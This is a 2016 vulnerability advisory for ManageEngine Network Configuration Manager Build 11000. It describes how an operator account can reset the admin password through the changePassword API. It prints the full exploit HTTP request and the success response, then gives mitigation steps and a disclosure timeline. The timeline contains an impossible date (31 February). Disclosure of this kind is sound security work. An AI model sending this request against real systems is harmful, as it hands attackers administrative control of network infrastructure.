ManageEngine Network Configuration Management Build 11000 Privilege Escalation

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Privilege escalation Vulnerability in ManageEngine Network Configuration Management  
===================================================================================  
  
. contents:: Table Of Content  
  
Overview  
========  
  
Title:- Privilege escalation Vulnerability in ManageEngine Network Configuration Management  
Author: Kaustubh G. Padwad  
Vendor: ZOHO Corp  
Product: ManageEngine Network Configuration Manager   
Tested Version: : Network Configuration Manager Build 11000  
Severity: HIGH  
  
Advisory ID  
============  
2016-03-Manage_Engine  
  
  
About the Product:  
==================  
  
Network Configuration Manager is a web–based, multi vendor network change, configuration and compliance management (NCCCM) solution for switches, routers, firewalls and other network devices. Trusted by thousands of network administrators around the world, Network Configuration Manager helps automate and take total control of the entire life cycle of device configuration management.  
  
  
  
Description:   
============  
  
This Privilege escalation vulnerability enables an Normal user to escalate privilege and become administrator of the application.   
  
Vulnerability Class:  
====================  
Top 10 2014-I2 Insufficient Authentication/Authorization https://www.owasp.org/index.php/Top_10_2014-I2_Insufficient_Authentication/Authorization  
  
  
How to Reproduce: (POC):  
========================  
  
* you should have Operator Account on Network Configuration Management  
  
* login with that account to get api key something like user_1453993872278  
  
* Setup Burp and use change user password request and change userName to admin and newPwd to desire password HUrry you are admin now. :)  
  
POC  
====  
  
Burp Requst   
-----------  
POST /nfaapi/json/admin/changePassword HTTP/1.1  
  
Host: 192.168.1.10:8080  
  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.5.0  
  
Accept: */*  
  
Accept-Language: en-US,en;q=0.5  
  
Accept-Encoding: gzip, deflate  
  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
  
X-Requested-With: XMLHttpRequest  
  
Referer: http://192.168.1.10:8080/netflow/ncmapiclient/ember/index.jsp  
  
Content-Length: 50  
  
Cookie: OPUTILSJSESSIONID=E062B23129AA1269EF13794C7710DF8E; JSESSIONID=FBA6ADEE16123786896DF765CA4C9E87; NFA_Jsession=0BF63F9CE8F4DCF664857F92403D8B44; iamcsrfcookie=fbcc4bcb-34ea-4cc8-8cb3-e95dbfc0603d; NFA__SSO=0ED579E64493B973F5BCA1C94EAD6310  
  
Connection: keep-alive  
  
Pragma: no-cache  
  
Cache-Control: no-cache  
  
  
  
userName=admin&newPwd=11&apiKey=king_1453993872278  
  
  
Response  
--------  
HTTP/1.1 200 OK  
  
Server: Apache-Coyote/1.1  
  
Access-Control-Allow-Origin: *  
  
Access-Control-Allow-Methods: GET,POST  
  
Access-Control-Max-Age: 5000  
  
Content-Type: application/json;charset=UTF-8  
  
Date: Sat, 30 Jan 2016 20:22:15 GMT  
  
Content-Length: 23  
  
  
  
{"message":"success"}  
  
  
  
  
  
  
Mitigation  
==========  
  
* Please Stop Network configuration manager service.  
* Open Ncm\lib and cut AdvNCM.jar and paste it in to Desktop.  
* Download the AdvNCM.jar file from below link and paste it under Ncm\lib   
* https://uploads.zohocorp.com/Internal_Useruploads/dnd/DeviceExpert/o_1ab396o1i1a6v8j1cr86uet581/AdvNCM.jar  
* Open Ncm\logs and delete all the files inside it,  
* Start the Ncm service and check the issue.  
  
Disclosure:   
===========  
* 31-JAN-2016 Repoerted to vendor  
* 31-Feb-2016 Ack by Vendor  
* 09-Feb-2016 Fixed By Vendor  
  
credits:  
========  
* Kaustubh Padwad  
* Information Security Researcher  
* [email protected]  
* https://twitter.com/s3curityb3ast  
* http://breakthesec.com  
* https://www.linkedin.com/in/kaustubhpadwad  
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